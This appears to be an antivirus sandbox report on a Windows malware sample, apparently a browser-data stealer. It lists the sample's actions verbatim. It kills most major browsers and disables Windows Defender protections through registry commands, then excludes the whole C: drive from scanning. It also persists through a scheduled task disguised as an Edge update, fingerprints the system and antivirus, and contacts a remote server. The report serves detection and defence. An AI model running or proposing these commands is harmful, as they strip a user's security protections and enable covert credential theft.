Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\msedgeupdatetaskmodelu404
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM "brave.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "Brave Browser.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "chrome.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "msedge.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "opera.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "operagx.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "operacrypto.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "vivaldi.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "yandexbrowser.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "iridium.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "slimjet.exe"
Modifies file system
Creates the following files
- nul
- %LOCALAPPDATA%\0f57e9f0\01811c2b.exe
- %APPDATA%\.noc_id
Network activity
Connects to
- '19#.#09.200.173':5000
UDP
- DNS ASK ap#.#pify.org
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\0f57e9f0\01811c2b.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v AllowRealtimeMonitoring /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v AllowRealtimeMonitoring /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v AllowCloudProtection /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v AllowCloudProtection /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v EnableControlledFolderAccess /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v EnableControlledFolderAccess /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v EnableNetworkProtection /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v EnableNetworkProtection /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "MsEdgeUpdateTaskModelU404" /tr "%LOCALAPPDATA%\0f57e9f0\01811c2b.exe" /sc onlogon /rl LIMITED /f 2>nul
- '<SYSTEM32>\schtasks.exe' /create /tn "MsEdgeUpdateTaskModelU404" /tr "%LOCALAPPDATA%\0f57e9f0\01811c2b.exe" /sc onlogon /rl LIMITED /f
- '<SYSTEM32>\cmd.exe' /c wmic os get Caption /value
- '<SYSTEM32>\wbem\wmic.exe' os get Caption /value
- '<SYSTEM32>\cmd.exe' /c wmic cpu get Name /value
- '<SYSTEM32>\wbem\wmic.exe' cpu get Name /value
- '<SYSTEM32>\cmd.exe' /c wmic path win32_videocontroller get Name /value
- '<SYSTEM32>\wbem\wmic.exe' path win32_videocontroller get Name /value
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -NonI -Command "(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA SilentlyContinue | Select-Object -ExpandProperty displayName) -join '; ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonI -Command "(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA SilentlyContinue | Select-Object -ExpandProperty displayName) -join '; '"
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "brave.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "Brave Browser.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "chrome.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "msedge.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "opera.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "operagx.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "operacrypto.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "vivaldi.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "yandexbrowser.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "iridium.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "slimjet.exe" 2>nul
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v AllowRealtimeMonitoring /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v AllowCloudProtection /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v EnableControlledFolderAccess /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v EnableNetworkProtection /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "MsEdgeUpdateTaskModelU404" /tr "%LOCALAPPDATA%\0f57e9f0\01811c2b.exe" /sc onlogon /rl LIMITED /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic os get Caption /value' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic cpu get Name /value' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic path win32_videocontroller get Name /value' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -NonI -Command "(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA SilentlyContinue | Select-Object -ExpandProperty displayName) -join '; ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "brave.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "Brave Browser.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "chrome.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "msedge.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "opera.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "operagx.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "operacrypto.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "vivaldi.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "yandexbrowser.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "iridium.exe" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM "slimjet.exe" 2>nul' (with hidden window)
